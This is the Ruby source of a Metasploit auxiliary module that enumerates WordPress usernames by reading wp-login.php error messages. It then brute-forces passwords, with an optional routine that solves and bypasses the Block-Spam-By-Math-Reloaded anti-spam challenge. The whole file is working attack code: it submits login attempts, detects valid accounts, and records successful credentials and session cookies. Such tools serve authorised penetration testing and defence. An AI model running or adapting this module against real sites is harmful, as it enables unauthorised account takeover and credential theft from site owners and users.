## # $Id: wordpress_login_enum.rb 12196 2011-04-01 00:51:33Z egypt $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'Wordpress Brute Force and User Enumeration Utility', 'Version' => '$Revision: 12196 $', 'Description' => 'Wordpress Authentication Brute Force and User Enumeration Utility', 'Author' => [ 'Alligator Security Team', 'Tiago Ferreira ', 'Heyder Andrade ' # Block-Spam-By-Math-Reloaded Bypass ], 'References' => [ ['BID', '35581'], ['CVE', '2009-2335'], ['OSVDB', '55713'], ], 'License' => MSF_LICENSE ) register_options( [ Opt::RPORT(80), OptString.new('URI', [false, 'Define the path to the wp-login.php file', '/wp-login.php']), OptBool.new('VALIDATE_USERS', [ true, "Enumerate usernames", true ]), OptBool.new('BSBM_BYPASS', [ true, "Block-Spam-By-Math-Reloaded Bypass ", false]), OptBool.new('BRUTEFORCE', [ true, "Perform brute force authentication", true ]), ], self.class) end def target_url "http://#{vhost}:#{rport}#{datastore['URI']}" end def run_host(ip) if datastore['VALIDATE_USERS'] @users_found = {} vprint_status("#{target_url} - WordPress Enumeration - Running User Enumeration") each_user_pass { |user, pass| do_enum(user) } unless (@users_found.empty?) print_good("#{target_url} - WordPress Enumeration - Found #{uf = @users_found.keys.size} valid #{uf == 1 ? "user" : "users"}") end end if datastore['BRUTEFORCE'] vprint_status("#{target_url} - WordPress Brute Force - Running Bruteforce") if datastore['VALIDATE_USERS'] if @users_found && @users_found.keys.size > 0 vprint_status("#{target_url} - WordPress Brute Force - Skipping all but #{uf = @users_found.keys.size} valid #{uf == 1 ? "user" : "users"}") else vprint_status("#{target_url} - WordPress Brute Force - No valid users found. Exiting.") return end end each_user_pass { |user, pass| if datastore['VALIDATE_USERS'] next unless @users_found[user] end do_login(user, pass) } end end def do_enum(user=nil) post_data = "log=#{Rex::Text.uri_encode(user.to_s)}&pwd=x&wp-submit=Login" print_status("#{target_url} - WordPress Enumeration - Checking Username:'#{user}'") begin res = send_request_cgi({ 'method' => 'POST', 'uri' => datastore['URI'], 'data' => post_data, }, 20) valid_user = false if (res and res.code == 200 ) if (res.body.to_s =~ /Incorrect password/ ) valid_user = true elsif (res.body.to_s =~ /document\.getElementById\(\'user_pass\'\)/ ) valid_user = true else valid_user = false end else print_error("#{target_url} - WordPress Enumeration - Enumeration is not possible. #{res.code} response") return :abort end if valid_user print_good("#{target_url} - WordPress Enumeration- Username: '#{user}' - is VALID") report_auth_info( :host => rhost, :sname => 'http', :user => user, :port => rport, :proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}" ) @users_found[user] = :reported return :next_user else vprint_error("#{target_url} - WordPress Enumeration - Invalid Username: '#{user}'") return :skip_user end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE end end def smartaleck(values) answer = 0 values.each { |a| answer+=a.to_i } return answer end def getvalues(response) i = 0 values = [] while (i <= 1) do response.body.match(%r{.?(mathvalue#{i}).*(value=).([\d]+)}) values[i] = $3 i += 1 end return values end def baserequest() begin res = send_request_cgi({ 'method' => 'GET', 'uri' => datastore['URI'], }, 20) return res end end def do_login(user=nil,pass=nil) if (datastore['BSBM_BYPASS']) v = getvalues(baserequest()) sec_answer = smartaleck(v) post_data = "log=#{Rex::Text.uri_encode(user.to_s)}&pwd=#{Rex::Text.uri_encode(pass.to_s)}&mathvalue2=#{sec_answer}&mathvalue0=#{v[0]}&mathvalue1=#{v[1]}&&wp-submit=Login" else post_data = "log=#{Rex::Text.uri_encode(user.to_s)}&pwd=#{Rex::Text.uri_encode(pass.to_s)}&wp-submit=Login" vprint_status("#{target_url} - WordPress Brute Force - Trying username:'#{user}' with password:'#{pass}'") end begin res = send_request_cgi({ 'method' => 'POST', 'uri' => datastore['URI'], 'data' => post_data, }, 20) if (res and res.code == 302 ) if res.headers['Set-Cookie'].match(/wordpress_logged_in_(.*);/i) print_good("#{target_url} - WordPress Brute Force - SUCCESSFUL login for '#{user}' : '#{pass}'") report_auth_info( :host => rhost, :port => rport, :sname => 'http', :user => user, :pass => pass, :proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}, COOKIE=#{res.headers['Set-Cookie']}", :active => true ) return :next_user end print_error("#{target_url} - WordPress Brute Force - Unrecognized 302 response") return :abort elsif res.body.to_s =~ /login_error/ vprint_error("#{target_url} - WordPress Brute Force - Failed to login as '#{user}'") return else print_error("#{target_url} - WordPress Brute Force - Unrecognized #{res.code} response") if res return :abort end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE end end end